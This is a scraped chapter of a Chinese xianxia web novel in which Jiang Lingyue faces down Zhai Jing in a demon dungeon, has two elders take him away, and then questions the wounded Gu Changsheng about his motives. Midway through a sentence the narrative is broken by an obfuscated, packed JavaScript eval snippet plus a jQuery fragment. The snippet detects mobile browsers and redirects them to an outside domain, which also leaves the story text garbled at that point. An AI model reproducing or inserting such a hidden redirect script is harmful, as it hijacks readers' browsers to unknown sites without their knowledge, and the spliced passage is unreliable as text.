“我——”翟景的喉头上下滑动,浑身的肌肉微微开始绷紧。
此时江凌月在剑柄上的手已经开始微微运起灵力,好似下一秒就会将阵法彻底捏碎。
……
他不知道江凌月是什么时候从过去那位不起眼的女修一步步走入他的视线中的,但是他记得盟主刚开始给她配的两位长老经常出现,再之后……
她就开始变得耀眼,让人根本无法移走目光,实力也大幅度提升,很多时候根本不用将那两位执法长老叫来,就能凭借自己的实力驯服那些不听话的弟子。
也就是从这时候开始,他开始庆幸自己和她有着娃娃亲。
而那两名长老更是唯她命是从,根本不考虑任何客观因素,江凌月对于他们来说优先级甚至高于盟主。
思绪收回,他重新对视上江凌月足够冰冷的目光,现在不是忤逆她的时候。
他微微抬头,缓解着那剑尖的压迫,一字一句否认道:“我,什么都没看见。”
得到了满意的答案,江凌月轻笑着点头,“还有呢?你今晚为什么出现在这里?”
翟景舔了舔有些干裂的嘴唇,周围的魔气正侵入着他的四肢百骸,带来有些灼热的痛和莫名的焦躁。
但他还是顺从地回答:“这个地动来得蹊跷,所有封魔的阵法都失效了,我知晓你这地牢中——”
话头至此戛然而止,他顾不得那么多,眼睛瞪大着环视一圈,本该关押着魔族的牢门此时却空空荡荡,在顾长生的身后,处处是扭曲变形的牢门,以及魔族死亡后留下的残躯,空气中弥漫着腥臭的味道。
只有个别牢门还保持着原样——那里关押着的还是人类,用的不是封魔阵法。
最后,他极度惊恐的目光落在了旁边笑得灿烂的顾长生身上。
“你……”他倒吸一口凉气,双目死死瞪着顾长生,“你把它们都杀了——?”
尾音上扬,声线颤抖,甚至有些破音。
顾长生没有回答,歪着头,满脸写着三个字:你说呢?
翟景浑身都因为激动而隐隐有些颤抖:“江凌月!江凌月你还要护着这么个叛徒吗?!”
话音说完,他直接向后退去半步,一个闪光拔出佩剑,灵力凝聚在剑尖,眼神喷火般看着顾长生,怒吼回荡在充满死寂的甬道内:“江凌月!你睁开眼睛看看他到底干了什么,谁知道他接下来还会发什么疯,你就是被他这身皮囊蛊惑了!许计和可是重要人证,它死了我们怎么追查魔涧?!这人绝对是叛徒,叛徒!”
因为愤怒,他脖颈两边青筋暴起,满面通红,恨不得就此直接将顾长生活剐。
但江凌月握住剑柄的手却纹丝未动,甚至连说话的语气都没有任何起伏:“我数到三,你不滚,就不要怪我不客气。”
“一。”
翟景疯狂喘着粗气,好似紧张到了极致。
“二。”
他在心底盘算着顾长生的状态——这人毕竟刚杀了一整个牢房的魔,现在气息不稳,身上也有着不少伤,若是直接出手……
噌——
轰!
翟景毫不犹豫,率先出手,斑斓的剑光在空中拉出道绚烂的残影,带着破天的气势直指顾长生命门。
顾长生就这么站在原地不动,笑着看向越来越近的剑势,他甚至能从那剑光中看见自己从容不迫的笑。
电光火石之间,一个足够干枯的手掌稳稳当当地出现在顾长生面前,一把抓住翟景的剑刃。
下一秒,五指一合,灵力如同浩荡的沧海将翟景的攻击如数没收,就如同一颗石子丢入大海,毫无波浪。
翟景瞳孔巨震,满脸不可思议地看着自己的剑刃被肃火长老夺下,随意扔至一旁,顾长生嘲讽的嘴角,以及江凌月……完全没有分给他一丝目光。
江凌月平静的声音响起:“泽月、肃火长老,真是又要麻烦二位了,还请你们先将翟景少司主带走,之后我自会下发对他的惩戒。以及——”
她的目光上下打量着脸色刷白的翟景,眼底的轻蔑一闪而过。
“给他下封口令,今晚发生的事,他但凡吐出半个字,都要神魂俱灭。”
听到这话,已经被控制住的翟景瞬间面如菜色,“你……江凌月你怎么能这么对我?!我天生仙骨,是祈圣司的少司主,百年来最天才的剑修!”
他还想再说些什么,但先前控制住他的肃火长老已经彻底钳制住了他的命脉,冰冷的咒言直接缠上金丹,在绝对的实力面前,他毫无反抗之力。
泽月长老面容慈祥地站在江凌月身后,微笑着看着这一切,十分平静地扫视一圈地牢中的遍地狼藉,好似村口聊天的奶奶在说今日鸡蛋两分一枚般的口吻说道:
“禁地封印差点被魔族冲破,现在所有长老都去堵那个破窟窿眼子了,听说盟内也有不少弟子瞬间入魔,感觉这次像魔族有组织的一次进攻。”
江凌月轻微“嗯”了一声,听出了她语气重的暗示,语气也很是缓和:“这件事,我大概知道点,告诉盟主不日我自会去解释,还有——”
她抬手指向一旁满脸事不关己高高挂起表情的顾长生,询问道:“我感受不到,他是什么修为?”
闻此,泽月和肃火长老的微微有些惊讶,上下打量着满面礼貌微笑的顾长生,良久,肃火长老啧了一声,“合体期前期啊?”
泽月长老笑眯眯地说道:“真有第一次见这么年轻的合体期,但是看着有些气息不稳,小伙子,你伤不轻,还是要多加休养,小心魔气入体。”
顾长生从鼻腔后面嗯了一声,承认道:“是,就是不知道师姐会不会心疼我一下。”
语气真诚,眼神中写满了渴望。
……
也就江凌月素质高,愣是压着自己心底想要让肃火长老直接弄死顾长生的冲动,单手抚额,面不改色心不跳地说道:
“是,会心疼。麻烦二位长老直接把翟景少司主带走吧,这边事多,我还需处理。”
泽月同肃火对视一眼,不动声色,一个缩地千里的法诀就消失在阴森逼仄
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941362|177368||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的地牢中。留下满脸期望的顾长生和江凌月。
死寂重新降临,浓重的血腥味和残存的一点魔气混合,黏稠得令人窒息。
没了翟景的聒噪,江凌月只觉着原先突突跳的神经都放松了些许,可当她看见顾长生那副人畜无害,带着点委屈却又极其乖巧的表情时——
算了,她收起佩剑,在心底无声地叹息,总比翟景那烦人的玩意好。
顾长生在江凌月平静的目光中,微微挺直脊背,像是在等待着江凌月的发问,目光中的期待毫不掩饰。
“你……”江凌月在舌尖斟酌着字词,盘算着面前男人身份的可能性,最终还是干脆问道,“你究竟是什么人?”
顾长生摆出了副果真如此的样子,微微侧头:“要不然师姐,我们换个地方说呢?这地方……”
他环视一圈,毫不遮掩脸上的嫌弃,“真是太不衬师姐了。”
江凌月垂下眼睫,将顾长生的话放在舌尖上来回翻滚,半晌,她声音清冷:“不,就在这里说清楚,我不想和你有任何多相处的时间。”
顾长生脸上的表情微妙了一下,微不可察十分无奈地点点头,“好吧,其实很简单,我是一个痛恨所有魔族的人。”
他眨着有些湿漉漉的眼睛,极其坦诚:“毕竟在加入仙盟之前,我只是一介普通的散修,天天过的是猪狗不如的日子,所以师姐还有什么想问的吗?”
江凌月没有回答,只是睨着眸子看他,沉默也是一种答案——她不满意这个回答。
顾长生认命般地耸了下肩,动作带着些漫不经心的慵懒:“其实是我感觉我作为年轻一代中修为最高的人,应当扛起除魔的大旗,为当前最有威望的,仙盟戒律司司主鞍前马后。”
或许是实在无法接受顾长生这么浪费时间,满嘴跑火车,江凌月最终还是冷冷地吐出四个字:
“你的目的。”
闻此,顾长生一挑眉,好似听到了什么不可思议的话,尾音都有些上扬:“我的目的?”
他向前走去半步,更靠近江凌月一点,但仍然处于社交的安全距离,眼神极其炽热:“我的目的就是加入戒律司,追随师姐啊!”
江凌月上下扫视一圈顾长生,眉头微皱,他身上的道袍已经完全看不出原本的颜色,彻底被深浅不一的暗红色浸透,右肩三角肌前束开放性软组织损伤伴骨外露,某种意义上绝对能评判轻伤一级了。
她前世是法医,今生坐上了戒律司司主,对于满嘴谎言的人见识得绝不算少,可受这么重的伤,还能用这么真诚的态度和语气说出如此不要脸的话的,顾长生绝对算第一个。
转瞬间,顾长生又向前走去一步,目光死死黏在江凌月充满审视的脸上,此时二人之间的距离已经完全突破了安全距离,某种意义上,如果他想,他完全可以直接将她搂在怀中。
真好,他赌对了,江凌月没有后退!
因为兴奋,顾长生的语气都有些颤抖,尾音不自觉地上扬:“所以师姐是不是想问我,那银票究竟是什么?”